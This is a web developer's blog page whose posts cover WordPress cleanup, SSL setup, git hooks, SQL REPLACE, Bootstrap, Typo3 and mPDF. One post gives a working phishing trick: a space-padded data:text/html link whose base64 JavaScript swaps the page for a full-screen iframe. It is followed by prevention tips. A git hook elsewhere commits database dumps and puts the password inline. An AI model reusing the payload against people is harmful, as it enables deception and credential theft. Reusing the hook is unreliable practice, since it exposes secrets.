How to deal with existing fucked up WordPress setups?

If you ever needed to edit, change, update or extend an existing WordPress installation, you probably know those problems. 10+ (or even 30+) available updates, some custom plugins and a fucked up child theme or no child theme at all and multiple changes in the main theme from themeforest. Thats because everyone with minimal PHP skills can write something for WP or is able to create a child theme and paste some stackoverflow snippets into functions.php.
Probably the siteowner is completely desperate and you are the only choice he has, because any other programmer would not even take a look into such a setup. So how would you handle this situation?

The only rational way is to look what changes have been made by others and then try to fix that mess, but before you diff all plugins and the main theme with their sources and save a lot of .patch files, just install WordFence! WordFence has some great features to compare the installed plugins with the WP repo and to build diffs, but the generated log files are even more important. Those logs are crucial for any further work, because every touched plugin is no longer able to be updated without the loss of old changes and in most cases it is a damn high effort to refactor the code and to clean it up. Before you make an offer (probably you are the only one to make an offer anyway) you should take care of every touched plugin and check the generated diffs from WordFence.

But the customer only wants some minor update and will not pay for refactoring and clean up!
Of course you could just put more shit-crap-code on top of the shit, but don’t answer your phone next time that customer calls. In my opinion it is no option to extend such setups without a clean and stable basic system. Once you’ve touched anything, that customer will make you responsible for his shitpage, so think twice. You should send them the generated log files and sensitize them for safety, because otherwise the setup will some day crash the hell out of everyone who is involved.

How can I justify myself?
Edited plugins and parent themes don’t appear by accident. Probably many other (cheaper, faster, or more eloquent) programmers/agencies already worked with that setup, so why don’t they clean up what they caused? Your customer probably wasn’t happy with them or those guys have given up, because stackoverflow and github gist don’t have answers to your customers request. Also a programmer that already touched those update relevant files will never be able to clean up the system anyway. So you don’t need to justify yourself, because you are probably the only choice your customer has.


Visual Composer JS error, cause of custom JS include in WordPress backend

This happens to me often, because many people use the visual composer plugin to edit their content in a fast way. As a developer you write some awesome backend plugin with many options and stuff and try to make it look awesome and userfriendly and the activation of the plugin fucks up the VC config. There is an easy – but a bit dirty – way to deal with that. WP has an awesome function wherewith you can easily see on which page you are. Just call get_current_screen() and you can seperate by the base param of the result.

In combination with the wp_enqueue_script sections of your plugin, you will be able to only load the js file on that one page where it is necessary.


if (get_current_screen()->base == 'toplevel_page_yourplugin') {

Sneaky phishing method in modern browsers

Chrome, Firefox and most other modern browsers allow you to execute base64 encoded data via data:text/html. For example we could prepend „data:text/html,“ to a trustworthy URL like „“ and instead of loading the displayed url we execute a bunch of other stuff encoded in our following script tag (yeah I know a programmer would not fall for it, but your parents will!)

data:text/html, <script src=data:text/html;base64,{BASE64 ENCODED JS}></script>

{BASE64 ENCODED JS} can be replaced with any js. With some lines of code we can load anything we want and make the user believe he is browsing on

window.document.title = "Some test title";
window.document.body.outerHTML = "<iframe src=\"\" style=\"border: 0;width: 100%;height:100%\"></iframe>"; = "0"; = "0";

The whole code base64 encoded:



data:text/html, <script src=data:text/html;base64,d2luZG93LmRvY3VtZW50LnRpdGxlID0gIlNvbWUgdGVzdCB0aXRsZSI7DQp3aW5kb3cuZG9jdW1lbnQuYm9keS5vdXRlckhUTUwgPSAiPGlmcmFtZSBzcmM9XCJodHRwOi8vZXhhbXBsZS5jb21cIiBzdHlsZT1cImJvcmRlcjogMDt3aWR0aDogMTAwJTtoZWlnaHQ6MTAwJVwiPjwvaWZyYW1lPiI7DQp3aW5kb3cuZG9jdW1lbnQuYm9keS5zdHlsZS5wYWRkaW5nID0gIjAiOw0Kd2luZG93LmRvY3VtZW50LmJvZHkuc3R5bGUubWFyZ2luID0gIjAiOw==></script>

Add some spaces to the url and build a simple link so it doesn’t look suspicious and here we go:

<a href="data:text/html,                                                                                                                                                                                                                                                                        <script src=data:text/html;base64,d2luZG93LmRvY3VtZW50LnRpdGxlID0gIlNvbWUgdGVzdCB0aXRsZSI7DQp3aW5kb3cuZG9jdW1lbnQuYm9keS5vdXRlckhUTUwgPSAiPGlmcmFtZSBzcmM9XCJodHRwOi8vZXhhbXBsZS5jb21cIiBzdHlsZT1cImJvcmRlcjogMDt3aWR0aDogMTAwJTtoZWlnaHQ6MTAwJVwiPjwvaWZyYW1lPiI7DQp3aW5kb3cuZG9jdW1lbnQuYm9keS5zdHlsZS5wYWRkaW5nID0gIjAiOw0Kd2luZG93LmRvY3VtZW50LmJvZHkuc3R5bGUubWFyZ2luID0gIjAiOw==></script>">Click here to load in an iframe via js</a>


Removed some spaces from the snippet.

So many spaces, that the script isn’t even visible.







How can I prevent getting phished like this?

  1. Use password managers that preserve your login urls (keepass, 1password, etc.).
  2. Don’t click on stuff in E-Mails ;D
  3. Check the certificate in your browser.
  4. Never login on any site after you opened it out of an email.

More about this topic:

  1. Gist by timruffles
  2. @tomscott

WordPress added SSL support to its future requirements

On December 1, 2016 WordPress announced it will move towards SSL in 2017. Many hosting partners provide SSL certificates for low prices, but you can also use letsencrypt for easy free SSL support. If you are hosting your sites using Plesk there is a pre-build plugin (can also be installed via Plesk installer!) for letsencrypt. Of course you can also install certificates with shell access, easy and free. Also the Google Chrome team announced that „none SSL pages“ will throw a warning from January 2017 on.

So if you are running WordPress projects and haven’t installed a certificate yet, there is no better time to do it.


Letsencrypt in Plesk project detail page.

In Plesk just select your project page and click on „Let’s Encrypt“. The next step lets you add the default „www.“ subdomain to your certificate and thats it. After the plugin has all work done for you, you need to edit your „.htaccess“ file and add the following lines, to only allow https:// in your domain. At last step edit your blogurl in your sites setting and add https instead of http to your blogurl.

<ifmodule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]

If you have images, videos, internal links and those stuff (wich is quite normal) on your website, you need to update the absolute URLs WordPress has saved to your database. I recommend the WP Migrate Plugin to do this.


WordPress: GIT usage with automatic database backups

It’s always difficult how to use git with wordpress the best way. First step should always be a global .gitignore file that ignores all core files and only adds plugins and themes to your repo. The core could always be restored by the wordpress github repo or direct download, so there is no need to add that overhead to your own repository.

I just wrote a small .gitignore file for my own projects. Thats a simple base you can extend for your own purposes.

# ignore everything in root directory, except:

# ignore everything in wp-content directory, except:

An other typical problem is the backup of databases. WordPress theme options and of course content is always saved in the database, so we need every change in there, when we commit file changes. The easiest way to do so, is the git hook „pre-commit“. Just add this file to .git/hooks/ and edit your absolute paths. On every commit git will backup your database and add it to your repo.

mysqldump -u [dbuser] -p[dbpassword] [dbname] > /absolute/path/to/wordpress/root/database_dump.sql
cd /absolute/path/to/wordpress/root
git add database_dump.sql



SQL REPLACE() function

SQL allows you to simply replace parts of a string by using REPLACE(fieldname, „replace-this“, „replace-with-this“) and yes you can encapsulate REPLACE() within other REPLACE(). Thats easy to use and efficient because you don’t need to order and sort your results in PHP or any other language, but directly get the correct format and order of your data.

Our table:

mysql> SELECT * FROM site_logs;
| id | url                   | data                |
|  1 | | 2016-11-09 18:13:01 |
|  2 | | 0000-00-00 00:00:00 |
|  3 |   | 2016-11-09 18:13:01 |
|  4 |   | 0000-00-00 00:00:00 |
|  6 |  | 0000-00-00 00:00:00 |
|  7 | | 0000-00-00 00:00:00 |
|  8 | | 2016-11-09 18:13:01 |
|  9 | | 0000-00-00 00:00:00 |



Enable bootstrap for wordpress backend plugins

In one of my recent plugins it was necessary to enable bootstrap for easy styling my plugin option pages. If you simply add bootstrap to the backend css, the whole backend gets the style, thats not really cool. With the use of less and a little wrapper class only for your plugin you can get rid of this circumstance.

First download the recent bootstrap distribution from

Move into the bootstrap directory and create a little less file:
.wrapper-class {
@import (less) url( ‚css/bootstrap.css‘ );

Compile that file and you get a complete bootstrap css wrapped with your wrapper-class.
See for instructions.

Just add that file to the backend style of wordpress an there you go.

add_action(‚admin_enqueue_scripts‘, ‚backend_scripts‘);

function backend_scripts() {
wp_enqueue_style(‚backend_style‘, plugins_url(‚myplugin/css/bootstrap-wrapper-class.css‘));

Every bootstrap component is available within wrapper-class.


Typo3 Viewhelper file exists

Um zu testen ob ein Datei existiert, habe ich mir diesen winzigen Viewhelper geschrieben. Dem Anschein nach kann Fluid das von sich aus noch nicht 🙁 (wird Zeit)



{namespace myextension=Tx_Myextension_ViewHelpers}

Image exists



Mein neues WordPress Plugin: Tooltip Crazy

Nach Jahren des Bastelns und Probierens habe ich mich dazu durchgerungen auch mal ein Plugin soweit fertig zu stellen um es zu publizieren. Mit Tooltip Crazy (WordPress Plugin Directory) können die CSS Tooltips von Codrops direkt in WordPress genutzt werden.

Das Plugin bietet einen neuen Button im RTE an oder man nutzt direkt den Weg über den Shortcode. Zukünftige Plugins werden definitiv noch nutzerfreundlicher entwickelt ;D


mPDF Styling

Wer Daten in Form einer PDF serverseitig generieren will wird sich zwangsweise mit fpdf auseinandersetzen. mPDF erweitert die Bibliothek und erzeugt PDFs aus einer HTML Struktur heraus. Die Generierung erfolgt unerwartet einfach, hat aber noch Verbesserungsbedarf in Sachen Styling. Wer mit mPDF arbeiten möchte sollte folgendes beachten:

– Floating funktioniert nur, wenn das zu floatende Element eine angegebene Breite hat.

– Vererbung in CSS funktioniert nur bedingt.
div .class1 {
background-color: green;

div .class1.class2 {
background-color: red;
Ein Element mit class=“class1 class2″ würde in der PDF keinen roten Hintergrund bekommen, man müsste in diesem Fall class=“class2″ nutzen, damit sich die CSS Angaben auswirken.

– Der im Normalfall (fullwidth, Hochformat) sichtbare Bereich ist 680px breit

– Große Tabellen werden nicht(!) auf mehrere Seiten umgebrochen sondern verkleinert dargestellt.

– Tabellen in div Containern sind grundsätzlich nicht zu empfehlen, die Darstellung ist in vielerlei Hinsicht falsch.